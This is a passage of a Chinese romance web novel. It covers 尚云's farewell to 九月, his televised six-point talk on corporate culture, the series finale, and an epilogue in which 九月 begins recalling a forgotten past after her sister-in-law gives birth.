“也许是你很优秀,才会吸引来这么多优秀的人。”尚云看她一眼,她所说的这些人,都是她亲手培养或提拔上来的。 “我舍不得他们。”说这句话时,她的情绪明显低落下来。她靠在椅子上,眼睛定定看着窗外流逝的风景。 尚云没说话,心里像是横着刀刃,连呼吸都带着痛。 将九月送到朱明公司,朱明正在为一个临时上门的客户做咨询解答,便让书瑶下来接九月。 “那我走了,你照顾好自己。”尚云轻轻说道。 “好。”九月笑道,清澈眼底浮上泪意,“祝你工作顺利。” 尚云鼻子一酸,赶紧转身走了。 “尚总。”九月突然哽咽着追上来。 “怎么了?” 九月心里涌上浓浓不舍,泪水浮上眼眶:“我想跟你拥抱一下,感谢你照顾我那么久。” 尚云强忍泪意,张开双臂,轻轻拥住她。 她像以往一样,把头抵在他胸前,肩膀却微微抖动。他听到九月埋头在他怀里轻轻说了一句:“我舍不得你。” 他心怦怦直跳,手臂收紧,却假装没听到,也不回应。 松开她后,他扶了扶她歪掉的帽子:“保重。” 狠了狠心,头也不回地离开了。 听到九月带着哭腔,在身后大声说:“你也保重。” 声音被风吹散,同样吹散的还有他内心的痛呼。 他开着车离开,一路急驰停在公寓楼下,车里坐了好一会儿才下车。公寓一楼门卫大叔的劣质音响中正放着经典流行音乐,整个大厅里流淌响着一首老歌《手放开》的旋律。 “把爱收进胸前左边的口袋,最后的疼爱是手放开,不想用言语拉扯” 听在耳里,心里格外伤感。回到12层,他推开自己房间隔壁那扇门,打开灯一切都是老样子,就像她从没离开过。九月离职的时候,他特地跟行政部门交代过,这间房不用清理,也不能分配出去,就让它维持原样。 关了门,坐在她卧室的床沿上,她的气息在房间里越来越稀薄。 “我舍不得他们。” “我舍不得你。” 她的声音在风里,印在他心里。 他也舍不得。但他别无选择。 突然瞥见书架上一只盒子,盒子里有一张她手绘的画,画卷上月色朦胧,女人手上牵着小宝宝,在望月居庭院里,母子目光朝着一个方向,那里有个男子刚从车库出来,手上还提着商务包,风尘仆仆刚下班。见到母子张开双臂作出拥抱的样子。三人脸上的笑颜与幸福一览无余。 画下面有一只手表盒子,表的样式沉静大气,看起来造价不菲。“你快要生日了,提前祝你生日快乐!” 落款日期还是她辞职那天。 良久,尚云泪意肆流,无声而沉痛。无人看见。室外狂风大作,卷动地面浮尘,一切心事都会在风停时,消化在肉眼看不到的地方。 第二天,尚云如约接受了电视节目的访谈。 主持人开场后,面对镜头说起尚云刚开始是不打算接受他们的访谈邀约,但节目组三番五次的说服他,最终以这个节目将对社会有益为由,具有高度社会责任感的尚云尚总才接受了节目组的安排。 主持人说,“在谈企业文化和核心价值观之前,请问对您而言有怎样的人生观。” 面对摄像机,尚云有点不太适应,但谈到自己的领域,他变得很健谈。 回应主持人提问,他给出一个非常简单又很耐人寻味的比喻:“人的一生,就像一个“小雪团”,被时间推着不断朝前滚动,看似是我们自己选择的路线和滚动方式,实际到一定年龄回头看,还真不是自主选择,冥冥中自有安排。 充其量,在过程中有那么一点自由,可以选择发挥多少能量带动更多的雪粒一起滚动,或是选择完全放任,听天由命。” 主持人追问道:“您说的“雪粒”是指我们身边的人?” 尚云摇头:“不不不,每个人都是‘雪团’,不是别人的附属品。雪粒子是指人生中的价值,雪会融化,人也会消亡,但价值不会,被永久留在世上了,就像雪水融化后渗入土地,滋润新的生命在来年发芽。” 第二百一十四章 逆光而行 主持人点点头,“说到价值,我们都知道您和普世所创造的价值是无法估量的,您能跟我们谈谈企业文化除了在企业中凝聚人心,创造奇迹,把不可能的事变成可能的事,它跟所处的社会环境又是怎样一种模式?换句话说,是嵌入式发展,还是平行式发展?” 尚云听出主持人的提问很有水平,回应道:“大环境下的宏观文化是企业文化的基础,在基础上衍生出适合企业生存与发展的独特核心文化;同时企业的独特核心文化又会带给大环境反响,使宏观环境在众多反响中进行调整,顺应时代。所以二者是映射发展,互相影响的关系。” 主持人进一步问道:“可能大多数人对企业文化停留在一个形而上的层面,无法真正意识到它能带给企业的力量和变化,从而没有过多去关注。您能能借个契机跟我们举例说说吗?” 尚云笑道:“那么我从六个方面来跟大家聊一聊。” “我喜欢把企业当成众多成员的合体巨人。企业文化就是这个合体巨人的精神内核,也是它的能源中心。如果没有精神内核,企业只是一副皮囊。所以从这点,我们完全可以把它拟人化,当成人的属性来看待。 假如企业遇上危机,集结一切力量对抗危机,整合一切资源渡过难关。所有的力量和资源最重要的因素就是人心。 一旦在企业内或工作岗位,人们表现出这种英勇无畏、舍己为人的精神,在社会上也会展露出高尚的品格。 举个最常见的例子,如果在公司内形成了5s的素养,随时随地整理好自己的工作岗位和物品,那么这种素养一定会延伸到生活、家庭中,也一定会延伸到社会中。 我们在部队长期服役后,绝大多数人会保持部队的一些习惯,每天的起居、物品摆放习惯,整洁程度、日常自我锻炼,始终都有部队的纪律观念和对党与国家的热血忠诚在骨子里。 所以优秀的企业文化,对内是向上的能量、是端正的榜样,对外是公正客观的态度、是积极向上的形象。这是毋庸置疑的。” “第二点就要说到企业文化实际就是自己对外的名片。 如果说,形象可以刻意营造,那么企业的经营理念就无法弄虚作假。比如,我们经营理念中讲究诚信二字,就必须要在管理制度里,在产品设计中,在市场的销售与服务中体现出来的。 产品一出问题,那就会回溯到企业生产过程,追溯到管理流程,流程设计来自经营者理念。一层层追究下来,最终发现是企业文化没有普及。看起来产品跟文化没有任何关系,但最终发现文化跟人心有关,人心则落在行为上,行为的结果落在事物上。 市场不会给我们第二次机会,上过一次当就不会选择一个让自己失望过的品牌,合作伙伴也一样,哪怕合作了十次、百次,只要这一次弄虚作假,也不会再有下次。再弥补,这个裂痕永远横亘在彼此之间。 从这一点看,企业文化与社会环境是直接过招,三招定输赢。这三招一是耳闻:听媒体宣传包装的形象;二是观察:自己看到的形象;三是体验:产品的体验。 所以,经营理念就是企业名片,社会第一步看企业留给人的整体形象,第二步再看了名片,对企业初步印象就这么判断出来的。” “第三点是企业文化的个性,之前说将它拟人化,人就有自己的特点。有沉稳睿智、活泼跳脱、知性时尚、温文儒雅、克制上进等,无论性格如何,是否靠谱很重要。所以,让全体员工信服,万众一心,就必须要具备严谨和权威性。 企业平日的举措是否足够严谨,是否足够权威,这些体现在工作之外的活动。 工作与生活劳逸结合,普世每年花在活动上的心思也是比较多的,公司有内部大学,请的是社会上的专业人士来讲课,能保证每个成员离开公司的时候,必须比刚加入公司的时候学识更丰富、技能有升级,大家都愿意接受公司的终生学习制; 另外,我们在业余有游泳比赛、马拉松比赛、创新大赛,也有团体拓展活动和集体旅行活动,这些活动起到放松休息的目的,也含了精神内核在其间。 我们大力宣扬的文化就是如此。事实上员工下班后,公司也提供很多放松的场所,健身,保龄、养身spa等,这都是公司内部经营的场所。你几乎找不到普世的员工在业余时间,有其他不良的放松方式或花边新闻。 一个企业的文化就是一个企业的风气,这是普世对员工自身的品德修养基本要求,做事先做人,做人先立德。 从这点看,优秀的企业文化有助于社会安定。” 主持人听得很精彩,听尚云聊起普世的文化,忍不住开口道:“现下有很多专家和学者都在研究普世文化的企业文化。在这里,我代表许多对普世文化好奇的人提个问。 在这样的文化下,员工是否会感觉不自由呢?比如,有的员工不喜欢你安排的一切,如果他们说,我就喜欢跟几个朋友去,洗浴中心休闲一下,做一些天马行空的事。” 尚云回应道:“没有绝对的自由。如果每个人都要求完全绝对的自由,不加任何约束,这世界就乱套了。所有的自由,必须在合理的范围内,公司的文化制度就是合理的标尺。 制度不仅仅是向他们提要求,也是出于对他们负责,保护员工。普世的每一位员工都是普世羽翼下的孩子。我们入职培训时间安排了一周,前几天的理论训练,内容也不多,反复用案例做大量文化和制度的解读,他们都很清楚制度的出发点是什么。 但也不意味着,企业文化就是刻板严厉的,比如我们允许在工作中试错,也支持他们向自我成长提要求,只要是愿意在工作中用心钻研的人,公司不仅不会约束,还会重金鼓励,用更多资源去支持他们。哪怕最终没有结果也没关系,这一点公司很宽容,很自由。 整体来看,公司的工作氛围是相当活跃的,我们能在服务内容上不断深化,不断自我革新,很大程度来自于这项制度的支持。 人的精力有限,在玩乐上投入太多欲望,在事业上不可能还会保持专注。 优秀的企业文化不是禁欲,但在这点上必须非常明确的告诉员工,你想清楚要获得怎样的未来,就必须有所为,有所不为。 普世的企业文化在这一点上,有点像家长把孩子托付给你,你要向他的家人负责,向社会负责,一定将他培养成材,不能在你手上变坏。” 尚云的一番话,赢得台下观众一片喝彩与掌声。 主持人笑道:“尚云这番精彩讲述可谓是抽丝剥茧,擘肌分理,听大家的掌声我就知道大家已经明白企业文化的逻辑和重要性。那如此企业也想有这样优良文化,除了刚才您所说的对员工要解读,还应该怎么做,才能真正帮助企业树立形象,建造品牌?” 尚云建议道:“其实企业文化的宣传跟社会的联系也很紧密,互相影响。宣传就离不开媒体,企业有很多渠道和载体,如果不理解企业文化宣传的内涵与作用,很容易将它形式化。 企业的内部媒体平台,不管是向外夸大文化功能,美化作用,还是记流水帐,平铺直白。都起不到该有的作用,反而有虚假宣传之嫌。在某种程度来说,如果把内部媒体平台当成大型的朋友圈,晒什么,表达什么,在整个社会的态度看来无非两种,一种是炫耀,一种则是无关紧要的鸡毛蒜皮。 企业内部的媒体平台是内与外的桥梁,必须给宣传内容赋能,一要找到事实根据为立足点,用文字魅力引导向上,传达积极信息;二要树立社会榜样和形象,给合作伙伴和关注企业的人传达利好信息,输送正确的价值观。” “刚才说用六点说清楚,那还有最后一点,企业文化必须立场清醒而坚定。 它是整个企业巨人的精气神,塑造优秀的企业文化需要全体员工长期的努力,像一个修行者,抵挡各种诱惑,在事上练,制度上磨。走上坡路很难,但下坡路非常容易,堕落起来不用任何人教,只需放任自由散漫,给几次特权,很快就会将原来的修行摧毁。 企业跟社会的影响是相互的,比方说电视剧或电影中播放的内容,最容易被现实中的人模仿。网络视频里的内容也成为影响大众风习的重要渠道,社会上的不良事物,也容易带进企业,形成不好的风气。 但凡有传播功能的媒体或个人,都有责任保持清醒而客观的立场,杜绝歪风邪气。 鉴于这种相互影响,企业更加有责任在文化方面加强自制管理,以输出正向能量为己任。” 尚云笑一笑,对主持人说道:“以上六点就是我对企业文化和社会环境的映射发展,互相影响的关系的理解,为一家之言,希望能带给各位朋友一点参考。” 节目组结束访谈,底下的嘉宾和观众纷纷要上来跟尚云合影,尚云没什么架子,答应了。直到人群散尽,尚云接到来自北美区分公司的电话,工作人员听到尚云说:“今晚就回波士顿。” 接着谢绝了节目组的盛情款待,尚云身影匆匆,走向启开的大门。三米高的门后边光芒万丈,与录播间仅局部光亮大面积黯淡形成反差。 尚云逆光而行,走进光里的潇洒身姿让摄影师心中一动,按下了快门,作为各类线下纸媒杂志报刊的配图。 普世集团又何尝不是逆光而行,企图以一己之力转变这个世界,创造理想的新文明? 【剧终】 【番外】归复陌路 三年后。 九月的来电狂轰乱炸,幸好朱明调静了,对一直闪烁的屏幕视而不见。 终于结束了客户的心理咨询工作,朱明回拨过去,就听九月急道:“哥,你在哪里?” “在公司上班,刚在给客户做” 九月打断他,抢话说:“嫂子肚子疼,你快点来,我们在爽吖吖母婴店。等下,我把定位发给你。” “我马上来。”朱明一听脸色都变了,匆匆向助理交待几句,便驱车直往九月定位的地址。 正逢红绿灯,朱明给朱太太拨过去:“妈,书瑶肚子疼,我算着日子应该是快临盆了,你跟爸爸带之前备好的孕产包去医院等我们。我现在接她马上就到。” 朱太太和朱挺教授为了照顾书瑶,早就从安源镇搬来了滨香苑。九月也在一家珠宝行做销售员,住在公司宿舍,大部分业余时间都跟书瑶在一起逛吃逛吃,朱明说她是活出本性了。 朱太太忙不迭说道:“刚九月给我打过电话了,你爸吃完饭出去溜湾去了,我刚给他打过电话正往家赶呢。你接瑶瑶的时候,别开太快,要稳啊,别急,持续阵痛没那么快生的。我们拿了东西马上就到。” 话音一转,着急忙慌地说:“老朱,你总算回来了,瑶瑶快要生了,我们赶紧过去” 电话里传来朱挺教授慌张的声音,“那那拿上东西,我去开车。” “知道了,妈。你们也别着急,注意安全。”朱明挂断电话,看着平时挺快的红绿灯,今天像是按了慢进,他心急如焚。 总算到了医院,九月和朱明将书瑶扶上医护人员准备的轮椅上,白天的医院人满为患,好在产妇优先,他们顺利乘电梯到达妇产科。 推进产房时,书瑶疼得冷汗直冒,紧紧拽住朱明的手,“老公,我怕。” 朱明平时引导病人那套,在这个时候完全抛在脑后,他双手握住妻子的手:“瑶瑶,我会一直在这里陪着你,哪都不去,你不用害怕。” “我是说怕疼”书瑶说道。 朱明恢复冷静,镇定告诉妻子:“我们马上就能见到宝宝了,疼的时候你就知道,他也在拼命配合宫缩,来这个世界与妈妈见面,用他的方式告诉你,你不是一个人在努力。” 这话很凑效,书瑶松开了他的手,被推进产房。 “哥,你怎么还哭了?”九月拿出纸巾,递给朱明。 朱挺教授背着手,在走廊站了一会,被九月拉去坐在椅子上了。朱太太走过来,拍拍朱明胳膊安慰他。 朱明擦擦泪水:“妈,我这是高兴的。” 漫长的三个小时后,产房里传来婴儿响亮的啼哭。有护士出来报喜:书瑶家属,她生了个男孩,母子平安。 “这小子嗓门可比小明那会洪亮多了。”朱挺站起来,喜悦道。 “可算生了,母子平安,太好了!”大家喜极。 转眼又到周末,书瑶生产已经七天。朱明去办出院手续去了,朱挺教授跟朱太太正在整理物件,九月则弯着腰在逗着宝宝。 “嫂子,他对我笑了耶!”九月兴奋道。 书瑶温柔笑道:“那当然,我们小路最喜欢姑姑。” “小路,你同不同意你妈妈说的?喜欢姑姑吗?”她手痒了,想抱抱。又害怕弄伤他,两手搓了又搓。 书瑶见她那手足无措的样子,扑哧一声笑了:“想抱就抱,咱小路没那么脆弱。” “那我就不客气了。”九月小心翼翼地抱着柔软的小东西,浓郁的奶香味扑鼻而来,她内心柔软得一塌糊涂,母爱汤漾。 脑海里白光闪动,忽然浮现一个女人的模样。 “九月,昨天你昏迷,你知道医生跟我说什么了?” “你怀孕啦!” “你糟践自己身体不打紧,但孩子是无辜的,小天使充满喜悦地选择了你,你却不给他机会看看这个世界的花红柳绿。” 她动也不能动,这个人是谁?为什么我想不起来她? 一个模糊的男人身影,在她面前晃了晃。 “我们结婚。” “我们可以像无数家庭一样,有自己的孩子,有一日三餐,有人管我们叫爸爸妈妈,如果你不喜欢在公司做管理,你就去做你喜欢的事,绘画,或者你就在家跟孩子在一起,我下班回来能看到你和孩子,这就很满足了。” 她睁大那双清澈黑眸,眼底蕴满泪水。她想不起来他是谁,甚至想不起来他的长相。可是这些话出现在脑海里的时候,她的心酸酸胀胀只想痛哭。 书瑶像是发现她的异常,叫了一声:“九月,你怎么了?” 她似乎完全听不到。 “妈。你看看九月怎么了。” 朱太太赶紧过来摸摸九月额头,轻抚她的脸:“孩子,你怎么了?身体不舒服?” 九月像是从另一个世界回来,她茫然的看着朱太太,将手中的小人儿交给她:“妈,我交过男朋友吗?” 朱太太怔了怔,不知如何回应。 刚好朱明办完出院手续回来,书瑶对他使了个眼色,让他看看九月。 “妈,你们在聊什么呢?”朱明过去问道。 朱太太看了朱明一眼,慈祥地宽慰道:“九月,你从来没跟我说过这些。也许你交过男朋友,但既然没有结果,过去就让它过去。” 九月抚住胸口,泪水滴落:“刚才我想起他对我说的话,心里很痛。可是,我已经想不起来他长什么样子。” “不一定是现实。”朱明反应过来,说道:“之前我跟你说过,你出现的这些有可能是幻象,比如电视里的情境你代入进去,形成了新的印象。你觉得好像真实发生过,其实都是以前看过的电视剧情。不过,这都是正常的。” “你哥说的对。你不是最相信你哥的专业水平吗?”朱太太附合说。 “这样?”九月神情稍微放松,仍然心事重重,方才脑海里的场景真实得仿佛就发生在昨天。 “我们先回去,手续办好了。”朱明插开话题。他隐隐不安,九月的记忆正在复苏。 将书瑶接回滨香苑后,九月帮着朱太太一起择菜做饭,做好之后却一口没吃。 她推说明天就要上班了,要早些回宿舍。 朱明提出送她。 她拒绝了,让他照顾好嫂子。 外面已经天色阴黑,飘着毛毛细雨,好在没有下大雨的趋势。 她落落寡欢,沉浸在自己的思绪里,没留意该转弯的叉路口,走到了另一条道上而不自觉。等发现时已经走了很远,想着路边竖着的标示牌指着前方出口,她便继续走下去了。 前方驶来一辆墨色奔驰,车前灯照在她身上,毛毛细雨在车灯的照耀下,像银色的松针。 她用手遮着光亮,微微眯眼,看不清车内人的相貌。 她自觉退让到一旁,让车子先过。 但墨色奔驰没有动。车里的男人一瞬不瞬盯着她的身影,日思夜想的人就在眼前,他内心挣扎要不要跟她打个招呼。 朱明刚才打电话给他,九月的记忆开始恢复了。 他想了想,忍住没动。 看着她走过来,靠近他的车门。两人只有一臂距离,他的心怦怦直跳,就要蹦出嗓子眼。但她甚至没往车内看一眼,直接越过车门,从边上小心绕过去了。 他痴痴看着她在后视镜中越来越远,身影越来越小。